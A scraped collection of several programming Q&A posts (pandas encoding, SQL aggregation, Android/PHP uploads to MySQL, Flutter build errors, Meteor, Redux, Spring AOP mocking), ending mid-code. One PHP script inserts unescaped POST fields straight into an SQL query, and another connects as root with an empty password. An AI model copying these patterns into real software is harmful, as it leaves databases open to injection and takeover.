<p>Suppose I have a train set like this:</p> <pre><code>Name | day ------------ First | 0 Second | 1 Third | 1 Forth | 2 </code></pre> <p>And a test set that does not contain all these names or days. Like so:</p> <pre><code>Name | day ------------ First | 2 Second | 1 Forth | 0 </code></pre> <p>I have the following code to transform these columns in encoded features:</p> <pre><code>features_to_encode = ['Name', 'day'] label_final = pd.DataFrame() for feature in features_to_encode: label_campaign = LabelBinarizer() label_results = label_campaign.fit_transform(df[feature]) label_results = pd.DataFrame(label_results, columns=label_campaign.classes_) label_final = pd.concat([label_final, label_results], axis=1) df_encoded = label_final.join(df) </code></pre> <p>To produce the following output on train (<strong>this works fine</strong>):</p> <pre><code>First | Second | Third | Forth | 0 | 1 | 2 | ----------------------------------------------- 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | </code></pre> <p>However, when I run this on test data (new data), I get <strong>mismatching features if the test data does not contain exactly all the same Names and days as train data</strong>. So if I run similar code on this test sample, I would get:</p> <pre><code>First | Second | Forth | 0 | 1 | 2 | -------------------------------------- 1 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | </code></pre> <p>What can I do to preserve the same transformation from train data and apply it correctly to test data, resulting in this <strong>desired output</strong>:</p> <pre><code>First | Second | Third | Forth | 0 | 1 | 2 | ----------------------------------------------- 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | </code></pre> <p>I have already tried adding a dict to catch the fit_transform results, but I am not sure if this works or what to do with it afterwards:</p> <pre><code>features_to_encode = ['Name', 'day'] label_final = pd.DataFrame() labels = {}--------------------------------------------------------------------&gt; TRIED THIS for feature in features_to_encode: label_campaign = LabelBinarizer() label_results = label_campaign.fit_transform(df[feature]) labels[feature] = label_results--------------------------------------------&gt; WITH THIS label_results = pd.DataFrame(label_results, columns=label_campaign.classes_) label_final = pd.concat([label_final, label_results], axis=1) df_encoded = label_final.join(df) </code></pre> <p>Any help is appreciated. Thanks =)</p>
3
1,094
Missing on data with Group by and Sum
<p>I'm trying to make sense of the group by clause in a specific case: I joined two tables that are supposed to have the same dollar amount for each invoice, so I'm trying to make a Query to confirm there is no discrepancy. Here is the tables, query and result:</p> <pre><code>Table A: Order_Number | Order_Number_Line | Amount 1 | 1 | 80 1 | 2 | 20 1 | 3 | 30 1 | 4 | 70 Table B Order_Number | Order_Number_Line | Invoice_ID | Invoice_Line_Number | Amount 1 | 1 | 1234 | 1 | 20 1 | 2 | 1234 | 2 | 5 1 | 3 | 1234 | 3 | 10 1 | 4 | 1234 | 4 | 25 1 | 1 | 1234 | 1 | 35 1 | 2 | 1234 | 2 | 7 1 | 3 | 1234 | 3 | 15 1 | 4 | 1234 | 4 | 10 1 | 1 | 1234 | 1 | 25 1 | 2 | 1234 | 2 | 8 1 | 3 | 1234 | 3 | 5 1 | 4 | 1234 | 4 | 35 Select A.Order_Number, A.Amount, B.Amount From Table_A as A Left Join (Select Order_Number, Amount From Table_B) as B On A.Order_Number = B.Order_Number Order_Number | Amount_Table_A | Amount_Table_B 01 | 80 | 20 01 | 80 | 5 01 | 80 | 10 01 | 80 | 25 01 | 80 | 35 01 | 80 | 7 01 | 80 | 15 01 | 80 | 10 01 | 80 | 25 01 | 80 | 8 01 | 80 | 5 01 | 80 | 35 01 | 20 | 20 01 | 20 | 5 01 | 20 | 10 01 | 20 | 25 01 | 20 | 35 01 | 20 | 7 01 | 20 | 15 01 | 20 | 10 01 | 20 | 25 01 | 20 | 8 01 | 20 | 5 01 | 20 | 35 01 | 30 | 20 01 | 30 | 5 01 | 30 | 10 01 | 30 | 25 01 | 30 | 35 01 | 30 | 7 01 | 30 | 15 01 | 30 | 10 01 | 30 | 25 01 | 30 | 8 01 | 30 | 5 01 | 30 | 35 01 | 70 | 20 01 | 70 | 5 01 | 70 | 10 01 | 70 | 25 01 | 70 | 35 01 | 70 | 7 01 | 70 | 15 01 | 70 | 10 01 | 70 | 25 01 | 70 | 8 01 | 70 | 5 01 | 70 | 35 </code></pre> <p>I tried using group by, but only got the first amount record for each table:</p> <pre><code>Select A.Order_Number, A.Amount, B.Amount From Table_A as A Left Join (Select Order_Number, Amount From Table_B) as B On A.Order_Number = B.Order_Number Group By A.Order_Number Invoice_ID | Amount_Table_A | Amount_Table_B | 01 | 80 | 20 | </code></pre> <p>I tried adding the sum() clause to each amount attribute in the select statement and got the sum of each repeated record:</p> <pre><code>Select A.Order_Number, sum(A.Amount), sum(B.Amount) From Table_A as A Left Join (Select Order_Number, Amount From Table_B) as B On A.Order_Number = B.Order_Number Group By A.Order_Number Invoice_ID | Amount_Table_A | Amount_Table_B | 01 | 2400 | 800 | </code></pre> <p>how may I modify this query to show the real value?? Expected value is:</p> <pre><code> Invoice_ID | Amount_Table_A | Amount_Table_B | 01 | 200 | 200 | </code></pre> <p>Please keep in mind that this is an over simplified data set. The real table has over a million records and I need to make sure that the Invoice_ID adds up to the same total in both tables.</p> <p>Thank you so much!!!</p>
3
3,677
Get trouble when want to store image path into MySQL
<p>In my Activity A, it has a listView where the image and text were get from Activity B.</p> <p><strong>Activtiy A listView with image and text</strong></p> <p><a href="https://i.stack.imgur.com/ImO0z.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/ImO0z.png" alt="enter image description here"></a></p> <p>When the save button is clicked, I want to store image path and text into mysql through php, and image will stored in directory.</p> <p><strong>Activiy A</strong></p> <pre><code> public void uploadImageAndText(ArrayList&lt;ImageAndText&gt; listItems, final String id) { JSONArray jsonArray = new JSONArray(); try { for (ImageAndText i : listItems) { JSONObject object = new JSONObject(); String type = i.getType(); String[] Type = type.split(":"); object.put("type", Type[1]); Toast.makeText(getApplicationContext(), Type[1], Toast.LENGTH_LONG).show(); String amount = i.getAmount(); String[] Amount = amount.split(":"); object.put("amount", Amount[1]); String description = i.getDescription(); String[] Description = description.split(":"); object.put("description", Description[1]); Bitmap uploadImage = i.getImage(); String image = getStringImage(uploadImage); object.put("image", image); object.put("ts_id", id); jsonArray.put(object); } } catch (JSONException e) { e.printStackTrace(); } AddStaff ru = new AddStaff(jsonArray); ru.execute(); } class AddStaff extends AsyncTask&lt;String, Void, String&gt; { ProgressDialog loading; JSONArray jsonArray; AddStaff(JSONArray jsonArray) { this.jsonArray = jsonArray; } @Override protected void onPreExecute() { super.onPreExecute(); loading = ProgressDialog.show(AddClaims.this, "Please Wait", null, true, true); } @Override protected String doInBackground(String... params) { HashMap&lt;String, String&gt; data = new HashMap&lt;String, String&gt;(); data.put("listItems", jsonArray.toString()); RequestHandler rh = new RequestHandler(); String result = rh.sendPostRequest(Configs.STAFF_BENEFIT, data); return result; } @Override protected void onPostExecute(String s) { super.onPostExecute(s); loading.dismiss(); Toast.makeText(getApplicationContext(), s, Toast.LENGTH_LONG).show(); } } public String getStringImage(Bitmap bmp) { ByteArrayOutputStream baos = new ByteArrayOutputStream(); bmp.compress(Bitmap.CompressFormat.JPEG, 100, baos); byte[] imageBytes = baos.toByteArray(); String encodedImage = Base64.encodeToString(imageBytes, Base64.DEFAULT); return encodedImage; } } </code></pre> <p><strong>php</strong></p> <pre><code> &lt;?php if( $_SERVER['REQUEST_METHOD']=='POST' ){ if( !empty( $_POST['listItems'] ) ){ $mysqli = new mysqli("127.0.0.1:3307", "root", "", "androiddb"); if( $mysqli-&gt;connect_errno ) echo "Failed to connect to MySQL";/* try not to reveal too much info! */ /* The example you followed had this line! */ $image = $_POST['image']; $listItems = json_decode( $_POST['listItems'], true ); /* This never gets called - should it? */ $sql="SELECT id FROM staff_benefit ORDER BY id ASC"; /* This fetches ALL ids from the staff_benefit table so which ID do you need? Iterating through the recordset will effectively return the last one! */ $id=0; /* I assume that $id is supposed to get the value from th above sql query??? */ $res=$mysqli-&gt;query( $sql ); while( $rs=$res-&gt;fetch_object() ) $id=$rs-&gt;id; $path="$id.png"; $actualpath="http://192.168.107.115:80/Android/CRUD/PhotoUpload/$path"; /* Use only placeholders in your prepared statement */ $sql="INSERT INTO `staff_benefit` ( `type`, `amount`, `description`, `image`, `ts_id` ) VALUES ( ?, ?, ?, ?, ? )"; $stmt=$mysqli-&gt;prepare( $sql ); /* Save the image to disk: I prefer to use the actual path for storing files */ $pathelements=array( realpath( $_SERVER['DOCUMENT_ROOT'] ), 'CRUD', 'PhotoUpload', '' );/* empty entry adds trailing slash to path */ $savepath = realpath( implode( DIRECTORY_SEPARATOR, $pathelements ) ) . "{$id}.png"; $bytes=file_put_contents( $savepath, base64_decode( $image ) ); if( !$bytes ){ echo 'Error saving image'; } if ( $stmt &amp;&amp; $bytes ) { foreach( $listItems as $item ){ $stmt-&gt;bind_param('sssss', $item['type'], $item['amount'], $item['description'], $actualpath, $item['ts_id'] ); $res=$stmt-&gt;execute(); if( !$res ) echo 'Query failed with code: '.$stmt-&gt;errno;/* Again, not too much info */ } } $mysqli-&gt;close(); } } ?&gt; </code></pre> <blockquote> <p>When click image in directory, can't display image because the file is empty</p> </blockquote> <p><a href="https://i.stack.imgur.com/IhF5m.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/IhF5m.png" alt="enter image description here"></a></p>
3
2,937
Flutter error in Android Studio (Windows): Unrecognized option: --add-opens
<p>I have been working on a Flutter application that I've successfully run on both an Android emulator and a physical device during the past couple of weeks. Somehow and all of a sudden, I'm unable to run it in debug mode. I tried several answers found in SO but they all seem to be hacks that don't really fix the issue.</p> <h3>The Error</h3> <p>When I tried to run the application, an error is thrown from Gradle daemon because it could not create a JVM as seen in the screenshot below...</p> <p><a href="https://i.stack.imgur.com/yn31p.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/yn31p.png" alt="enter image description here" /></a></p> <pre><code>Error: Could not create the Java Virtual Machine. Error: A fatal exception has occurred. Program will exit. Unrecognized option: --add-opens </code></pre> <h3>Possible cause???</h3> <p>I remember I upgraded the Gradle Plugin to I-don't-know-what-version, I wasn't really paying attention to it (my bad) but I kept on working without any issues. Then, I upgrade Flutter to version 2.2.2, that's when the issue started to creeping in (Maybe).</p> <h3>Supporting Info</h3> <p>OS: Windows Server 2016 Standard (x64)<br /> IDE: Android Studio Artic Fox 2020.3.1<br /> Flutter Version: 2.2.2<br /> JAVA_HOME: Pointing to JDK 1.8</p> <p>Project Structure -&gt; Project Settings -&gt; Project</p> <p><a href="https://i.stack.imgur.com/UW5AG.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/UW5AG.png" alt="enter image description here" /></a></p> <p>Java version...</p> <p><a href="https://i.stack.imgur.com/ezTTa.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/ezTTa.png" alt="enter image description here" /></a></p> <p>Flutter doctor output...</p> <p><a href="https://i.stack.imgur.com/XrbJE.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/XrbJE.png" alt="enter image description here" /></a></p> <h3>Gradle files</h3> <p>android/build.gradle</p> <pre><code>buildscript { ext.kotlin_version = '1.3.50' repositories { google() jcenter() } dependencies { classpath 'com.android.tools.build:gradle:4.1.0' classpath &quot;org.jetbrains.kotlin:kotlin-gradle-plugin:$kotlin_version&quot; } } allprojects { repositories { google() jcenter() } } rootProject.buildDir = '../build' subprojects { project.buildDir = &quot;${rootProject.buildDir}/${project.name}&quot; project.evaluationDependsOn(':app') } task clean(type: Delete) { delete rootProject.buildDir } </code></pre> <p>app/build.gradle</p> <pre><code>def localProperties = new Properties() def localPropertiesFile = rootProject.file('local.properties') if (localPropertiesFile.exists()) { localPropertiesFile.withReader('UTF-8') { reader -&gt; localProperties.load(reader) } } def flutterRoot = localProperties.getProperty('flutter.sdk') if (flutterRoot == null) { throw new GradleException(&quot;Flutter SDK not found. Define location with flutter.sdk in the local.properties file.&quot;) } def flutterVersionCode = localProperties.getProperty('flutter.versionCode') if (flutterVersionCode == null) { flutterVersionCode = '1' } def flutterVersionName = localProperties.getProperty('flutter.versionName') if (flutterVersionName == null) { flutterVersionName = '1.0' } apply plugin: 'com.android.application' apply plugin: 'kotlin-android' apply from: &quot;$flutterRoot/packages/flutter_tools/gradle/flutter.gradle&quot; android { compileSdkVersion 30 sourceSets { main.java.srcDirs += 'src/main/kotlin' } defaultConfig { // TODO: Specify your own unique Application ID (https://developer.android.com/studio/build/application-id.html). applicationId &quot;com.domain.app_name&quot; minSdkVersion 16 targetSdkVersion 30 versionCode flutterVersionCode.toInteger() versionName flutterVersionName } buildTypes { release { // TODO: Add your own signing config for the release build. // Signing with the debug keys for now, so `flutter run --release` works. signingConfig signingConfigs.debug } } } flutter { source '../..' } dependencies { implementation &quot;org.jetbrains.kotlin:kotlin-stdlib-jdk7:$kotlin_version&quot; } </code></pre> <h3>Question</h3> <p><strong>Is there an obvious fix to the error?</strong><br /> I haven't worked on Android for about 2 years since I started this project so it might be possible that my problem is quite obvious. I might be missing something here but if I am, please let me know and I'll update the answer.</p>
3
1,726
Activity doesn't save info into MySQL Database
<p>I have one reservation form which must save information to <code>MySQL</code> database. On first Axtivity user fill the form then whit intent I save the information and passit to second activity where is the button save. When I click button save nothing goes to database. This is activity 1</p> <pre><code>static String Name; static String Email; static String Phone; static String Comment; static String DateTime; static String numberOfPeople; private EditText editText1, editText3, editText2, editText4, datePicker, editText5; //, txtTime; private Button btnMenues, btnTimePicker, btnCalendar; CustomDateTimePicker custom; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.reservation); custom = new CustomDateTimePicker(this, new CustomDateTimePicker.ICustomDateTimeListener() { @Override public void onSet(Dialog dialog, Calendar calendarSelected, Date dateSelected, int year, String monthFullName, String monthShortName, int monthNumber, int date, String weekDayFullName, String weekDayShortName, int hour24, int hour12, int min, int sec, String AM_PM) { ((EditText) findViewById(R.id.datePicker)).setText(calendarSelected.get(Calendar.DAY_OF_MONTH) + "/" + (monthNumber+1) + "/" + year + ", " + hour12 + ":" + min + " " + AM_PM); } @Override public void onCancel() { } }); /** * Pass Directly current time format it will return AM and PM if you set * false */ custom.set24HourFormat(false); /** * Pass Directly current data and time to show when it pop up */ custom.setDate(Calendar.getInstance()); findViewById(R.id.btnCalendar).setOnClickListener( new OnClickListener() { @Override public void onClick(View v) { custom.showDialog(); } }); editText1 = (EditText) findViewById(R.id.personName); editText3 = (EditText) findViewById(R.id.personPhone); editText2 = (EditText) findViewById(R.id.personEmail); editText4 = (EditText) findViewById(R.id.personComment); datePicker = (EditText) findViewById(R.id.datePicker); editText5 = (EditText) findViewById(R.id.editText5); btnCalendar = (Button) findViewById(R.id.btnCalendar); btnMenues = (Button) findViewById(R.id.continueWithReservation); btnMenues.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Intent intent = new Intent(Reservation.this, ReservationSecond.class); String Name = editText1.getText().toString(); String Email = editText2.getText().toString(); String Phone = editText3.getText().toString(); String Comment = editText4.getText().toString(); String DateTime = datePicker.getText().toString(); String numberOfPeople = editText5.getText().toString(); intent.putExtra("Name", Name); intent.putExtra("Email", Email); intent.putExtra("Phone", Phone); intent.putExtra("Comment", Comment); intent.putExtra("DateTime", DateTime); intent.putExtra("numberOfPeople", numberOfPeople); startActivity(intent); } }); } </code></pre> <p>This is Activity 2</p> <pre><code>String getName; String getEmail; String getPhone; String getComment; String getDateTime; String getnumberOfPeople; private Button btnMenues; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.reservation_second); btnMenues = (Button) findViewById(R.id.finish); btnMenues.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Bundle extras = getIntent().getExtras(); if (extras != null) { getName = extras.getString("Name"); getEmail = extras.getString("Email"); getPhone = extras.getString("Phone"); getComment = extras.getString("Comment"); getDateTime = extras.getString("DateTime"); getnumberOfPeople = extras.getString("numberOfPeople"); Log.e("err", getName + " " + getEmail + " " + getPhone + " " + getComment + " " + getDateTime + " " + getnumberOfPeople ); } new SummaryAsyncTask().execute((Void) null); startActivity(getIntent()); } }); } class SummaryAsyncTask extends AsyncTask&lt;Void, Void, Boolean&gt; { private void postData(String getNameToData, String getEmailData, String getPhoneData, String getCommentData, String getDateTimeData, String getnumberOfPeopleData) { HttpClient httpclient = new DefaultHttpClient(); HttpPost httppost = new HttpPost("http://link.to.site/saveReservation.php"); try { ArrayList&lt;NameValuePair&gt; nameValuePairs = new ArrayList&lt;NameValuePair&gt;(4); nameValuePairs.add(new BasicNameValuePair("Name", getNameToData)); nameValuePairs.add(new BasicNameValuePair("Email", getEmailData)); nameValuePairs.add(new BasicNameValuePair("Phone", getPhoneData)); nameValuePairs.add(new BasicNameValuePair("Comment", getCommentData)); nameValuePairs.add(new BasicNameValuePair("DateTime", getDateTimeData)); nameValuePairs.add(new BasicNameValuePair("numberOfPeople", getnumberOfPeopleData)); httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs)); HttpResponse response = httpclient.execute(httppost); } catch(Exception e) { Log.e("log_tag", "Error: "+e.toString()); } } @Override protected Boolean doInBackground(Void... params) { postData(getName, getEmail, getPhone, getComment, getDateTime, getnumberOfPeople ); return null; } } </code></pre> <p>I've put in second activity in intent part log to check <code>Log.e("err", getName + " " + getEmail + " " + getPhone + " " + getComment + " " + getDateTime + " " + getnumberOfPeople );</code> and in <code>LogCat</code> I see this error when button for save into DB is clicked</p> <pre><code>11-08 17:04:44.654: E/err(1112): Test Test@myEmail.com 33733721 Hello 26/11/2014, 4:50 PM 3 </code></pre> <p>This is xml for the first activity</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" &gt; &lt;EditText android:id="@+id/personName" android:layout_width="match_parent" android:layout_height="wrap_content" android:layout_marginTop="10dp" android:ems="10" android:hint="@string/NameForReservation" android:inputType="textPersonName" android:maxLength="25" /&gt; &lt;EditText android:id="@+id/personPhone" android:layout_width="match_parent" android:layout_height="wrap_content" android:layout_marginTop="10dp" android:ems="10" android:hint="@string/ContactPhone" android:inputType="phone" android:maxLength="16" /&gt; &lt;EditText android:id="@+id/personEmail" android:layout_width="match_parent" android:layout_height="wrap_content" android:layout_marginTop="10dp" android:ems="10" android:hint="@string/CustomerEmailContact" android:inputType="textEmailAddress" android:maxLength="50" /&gt; &lt;EditText android:id="@+id/personComment" android:layout_width="match_parent" android:layout_height="wrap_content" android:layout_marginTop="10dp" android:ems="10" android:hint="@string/CustomerCommentar" android:maxLength="100" /&gt; &lt;LinearLayout android:layout_width="match_parent" android:layout_height="wrap_content" android:id="@+id/linearLayout1" &gt; &lt;Button android:layout_height="wrap_content" android:layout_weight="0" android:id="@+id/btnCalendar" android:text="@string/ReservationDate" android:layout_width="100dp" /&gt; &lt;requestFocus&gt;&lt;/requestFocus&gt; &lt;EditText android:id="@+id/datePicker" android:layout_width="wrap_content" android:layout_height="match_parent" android:layout_weight="0.27" android:inputType="datetime" /&gt; &lt;/LinearLayout&gt; &lt;LinearLayout android:layout_width="match_parent" android:layout_height="wrap_content" &gt; &lt;TextView android:id="@+id/numberOfPeople" android:layout_width="190dp" android:layout_height="36dp" android:layout_weight="0.04" android:layout_marginLeft="10dp" android:text="@string/numberOfPeople" /&gt; &lt;requestFocus&gt;&lt;/requestFocus&gt; &lt;EditText android:id="@+id/editText5" android:layout_width="10dp" android:layout_height="41dp" android:layout_weight="0.02" android:ems="10" android:inputType="number" android:maxLength="2" android:text="" /&gt; &lt;/LinearLayout&gt; &lt;LinearLayout android:layout_width="match_parent" android:layout_height="wrap_content" &gt; &lt;Button android:id="@+id/continueWithReservation" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_gravity="right" android:gravity="center" android:text="@string/reservationContinue" /&gt; &lt;/LinearLayout&gt; &lt;/LinearLayout&gt; </code></pre> <p>Any idea what I miss here?</p> <p>UPDATE <code>php</code> file from server side</p> <pre><code>&lt;?php $icon = mysql_connect("localhost","user","pass"); if(!$icon) { die('Could not connect : ' . mysql_erroe()); } mysql_select_db("db", $icon)or die("database selection error"); echo json_encode($data); $Name=$_POST['Name']; $Phone=$_POST['Phone']; $Email=$_POST['Email']; $Comment=$_POST['Comment']; $DateTime=$_POST['DateTime']; $numberOfPeople=$_POST['numberOfPeople']; date_default_timezone_set("Europe/Bucharest"); // time zone $DateTime= date("Y-m-d H:i:s"); mysql_query("INSERT INTO reservation (Name, Phone, Email, Comment, DateTime, numberOfPeople) VALUES ('$Name', '$Phone', '$Email', '$Comment', '$DateTime', '$numberOfPeople')",$icon); mysql_close($icon); </code></pre>
3
4,817
javascript get value of Mongo field already rendered - Meteor
<p><em>Hey everyone, thank you very much for your help. Question is edited per suggestions in the comments.</em></p> <p>I'm new to Mongo and Meteor.</p> <p>I have a collection "posts" with a field "slug".</p> <p>The "post" template is populating correctly with each post's values. Slug value is always something like "my-great-post".</p> <p>I need to get the text value for the _id's slug, which will be different each time the template is accessed, encode it, write a string, and spit the string back out into the template. </p> <p><strong>Things tried</strong></p> <ul> <li><p>can't return a value for "this.slug" or "this.data.slug" in either template helpers or onRendered, even though collection is defined and correctly populating spacebars values in the template</p></li> <li><p>"this" returns "[object Object]" to console.log</p></li> <li><p>app crashes when I try to javascript encode and deliver a string from the helper, probably I don't fully understand helper syntax from the documentation</p></li> </ul> <p><em>(I followed advice in the comments to avoid trying to create scripts in the template html, so below is more information requested by everyone helping on this thread)</em></p> <p><strong>- Template html -</strong></p> <pre><code>{{#with post}} &lt;div class="blog-article"&gt; &lt;div class="blog-header"&gt; &lt;div class="left"&gt; &lt;!-- title --&gt; &lt;h1 class="post-title"&gt;{{title}}&lt;/h1&gt; &lt;div class="holder"&gt; &lt;div class="post-tags"&gt; &lt;!-- tags --&gt; {{#each tags}} &lt;span&gt;{{this}}&lt;/span&gt; {{/each}} &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="blog-post"&gt; &lt;div class="blog-copy"&gt; &lt;!-- date --&gt; &lt;div class="post-date"&gt;{{post_date}}&lt;/div&gt; &lt;!-- social --&gt; &lt;div class="blog-social"&gt; &lt;!-- &lt;a class="so-facebook" target="_blank" href="need to encode slug here"&gt;&lt;/a&gt; --&gt; &lt;/div&gt; &lt;!-- ============== post ============== --&gt; {{{content}}} &lt;!-- ============ end post ============ --&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; {{/with}} </code></pre> <p><strong>- Template js -</strong></p> <pre><code>Template.post.onCreated(function() { var self = this; self.autorun(function() { var postSlug = FlowRouter.getParam('postSlug'); self.subscribe('singlePost', postSlug); }); }); Template.post.helpers({ post: function() { var postSlug = FlowRouter.getParam('postSlug'); var post = Posts.findOne({slug: postSlug}) || {}; return post; } // can't get these working in a helper, out of helper they crash the app // console.log(this.slug); // console.log(this.data.slug); }); Template.post.onRendered( function () { // these do not work // console.log(this.slug); // console.log(this.data.slug); }); </code></pre> <p><strong>db.posts.findOne();</strong></p> <pre><code>{ "_id" : ObjectId("576c95708056bea3bc25a91f"), "title" : "How Meteor Raised the Bar For New Rapid-Development Technologies", "post_date" : "May 28, 2016", "image" : "meteor-raised-the-bar.png", "slug" : "how-meteor-raised-the-bar", "bitlink" : "ufw-29Z9h7s", "tags" : [ "Tools", "Technologies" ], "excerpt" : "sizzling excerpt", "content" : "bunch of post content html" } </code></pre> <p>If some one can solve this using any method, I will accept answer with joy and gratitude most intense.</p>
3
1,466
How to dispatch Redux action without "onClick"?
<p>For the below line of code, how can I dispatch <code>notificationsStateUpdate</code> without <code>onClick</code>? I want this action to be dispatched if <code>notificationClicked</code> is true, so I currently have a ternary expression set up.</p> <p>However, I can't seem to get the syntax to work. Is it possible to dispatch in this scenario?</p> <pre class="lang-js prettyprint-override"><code>{notificationClicked ? &lt;NotificationList notifications={newNotifications} /&gt; dispatch(notificationsStateUpdate({newNotifications})) : null} </code></pre> <p><strong>Full code for context</strong></p> <pre class="lang-js prettyprint-override"><code>import React, { useState, useEffect, useRef } from 'react'; import { useSelector, useDispatch, connect } from 'react-redux'; import _ from 'lodash'; import {makeStyles, useTheme} from '@material-ui/core/styles'; import usePrevious from '../hooks/usePrevious'; import NotificationList from './NotificationList'; import { notificationsStateUpdate } from '../actions'; export default function Notifications(props) { const [newNotifications, setNewNotifications] = useState([]); const users = useSelector(state =&gt; state.users); const notificationClicked = useSelector(state =&gt; state.notificationClicked) const prevUsers = usePrevious(users); const dispatch = useDispatch(); console.log('inside', users); const isEqual = _.isEqual(prevUsers, users); const timestamp = !isEqual ? new Date().getTime() : new Date(&quot;1991-09-24&quot;).getTime(); useEffect(() =&gt; { const notifications = []; console.log('users', users); users.forEach((user) =&gt; { if (user.uid === props.uid &amp;&amp; user.posts) { user.posts.forEach((postContent) =&gt; { const likes = postContent.like ? Object.values(postContent.like) : null const comments = postContent.comments_text ? Object.values(postContent.comments_text) : null if (likes){ let filtererdLikes = likes.filter(post =&gt; { return post.like_notification === false }) notifications.push(filtererdLikes) } if (comments){ let letfilteredComments = comments.filter(post =&gt; { return post.comment_notification === false }) notifications.push(letfilteredComments) } }) } }); const notificationsDataClean = notifications.flat(Infinity) setNewNotifications(notificationsDataClean); }, [timestamp]); const useStyles = makeStyles((theme) =&gt; ({ body: { margin: '25', background: '#3f51b5' }, iconButton: { position: 'relative', display: 'flex', alignItems: 'center', justifyContent: 'center', width: 50, height: 50, color: '#333333', background: '#dddddd', border: 'none', outline: 'none', borderRadius: '50%', '&amp;:hover': { cursor: 'pointer' }, '&amp;:active': { background: '#cccccc' } }, iconButton__badge: { position: 'absolute', top: -10, right: -10, width: 25, height: 25, background: 'red', color: '#ffffff', display: 'flex', justifyContent: 'center', alignItems: 'center', borderRadius: '50%' } } )); const classes = useStyles(); const theme = useTheme(); return ( &lt;div&gt; &lt;head&gt; &lt;meta charset=&quot;UTF-8&quot; /&gt; &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot; /&gt; &lt;title&gt;Icon Button Notification Badge&lt;/title&gt; &lt;link href=&quot;https://fonts.googleapis.com/icon?family=Material+Icons&quot; rel=&quot;stylesheet&quot; /&gt; &lt;/head&gt; &lt;body className={classes.body}&gt; &lt;button type=&quot;button&quot; className={classes.iconButton}&gt; &lt;span class=&quot;material-icons&quot;&gt;notifications&lt;/span&gt; &lt;span className={classes.iconButton__badge}&gt;{newNotifications.length}&lt;/span&gt; &lt;/button&gt; &lt;/body&gt; {notificationClicked ? &lt;NotificationList notifications={newNotifications} /&gt; dispatch(notificationsStateUpdate({newNotifications})) : null} &lt;/div&gt; ); } </code></pre>
3
1,840
How to write an aspect to cater to different objects and method arguments
<p>I am looking to write an Aspect which can be used to mock data depending on some value passed in the method. This mock will replace the actual REST call. If the value doesn't match, go back to the actual method and make the call to the REST endpoint.</p> <p>I already have an aspect written that works in production but is very messy and had to implement multiple different methods in there to accommodate the need to return different objects and handle different method arguments. Is there a way I could generalise this so that I could have like a single method to perform the work and able to use if for future cases where I do not have to worry about object types and method signatures.</p> <p>Current implementation as follows. How could I amend this to work as a single method which can cater to future methods and response types without having to change my Aspect? </p> <p>To clarify I have the following 3 methods which I want to mock by using Aspect. as you can see I have a custom annotation that takes in a name. None of the method's arguments line up. </p> <pre><code>@MyMock(name = "ABC") public AResponse getAResponse(ARequest aRequest){ // make a REST call } @MyMock(name = "DEF") public BResponse getBResponse(String fruit, BRequest bRequest){ // make a REST call } @MyMock(name = "GHJ") public CResponse getCResponse(String vehicle, CRequest cRequest, int id){ // make a REST call } </code></pre> <p>The Aspect Class currently is as follows. I use the name value in the annotation to determine which method to call and which value type to return. As you can see this is not very scalable. I need to write a new method and logic every single time I implement new mocks. </p> <pre><code>@Around("@annotation(myMock)") public Object getMockedData(ProceedingJoinPoint pjp, MyMock myMock) throws Throwable { String servName = performMocking.name(); Object[] methodArguments = pjp.getArgs(); MethodSignature signature = (MethodSignature) pjp.getSignature(); Class returnType = signature.getReturnType(); switch (myMock.name()) { case "ABC": getA(methodArguments[0]); break; case "DEF": getB(methodArguments[0]); break; case "GHJ": getC(methodArguments[2]); break; } return pjp.proceed(methodArguments); } private AResponse getA(ARequest aRequest){ // I use methodArguments[0] (which is aRequest) to decide what value to return as a mock response here. // There is a getName value in that object which I use to reference } private BResponse getB(BRequest bRequest){ // I use methodArguments[0] (which is a String) to decide what value to return as a mock response here. } private CResponse getC(CRequest cRequest){ // I use methodArguments[2] (which is an int) to decide what value to return as a mock response here. } </code></pre> <p>All the above get methods makes a call to an external JSON file to fetch the mock data. The files content as follows. If the keys match, a mock response would be given else go back to making actual REST call. </p> <pre><code>{ "ABC": { "enabled": "true", "responses": [ { "a_name": "{some valid json response matching the AResponse Object structure}" } ] }, "DEF": { "enabled": "true", "responses": [ { "d_name": "{some valid json response matching the BResponse Object structure}" } ] }, "GHJ": { "enabled": "true", "responses": [ { "123": "{some valid json response matching the CResponse Object structure}" } ] } } </code></pre> <p>EDIT: Added my ASPECT class as follows: </p> <pre><code>package com.company.a.b.mock; import com.domain.abc.b.logging.util.MyLogger; import com.domain.abc.a.util.generic.ConfigHelper; import com.fasterxml.jackson.databind.DeserializationFeature; import com.fasterxml.jackson.databind.ObjectMapper; import org.aspectj.lang.ProceedingJoinPoint; import org.aspectj.lang.annotation.Around; import org.aspectj.lang.annotation.Aspect; import org.aspectj.lang.reflect.MethodSignature; import org.springframework.stereotype.Component; import java.io.IOException; import java.util.List; import java.util.Map; @Aspect @Component public class AspectMocking { private final ConfigHelper configHelper; private final MyLogger myLogger; public 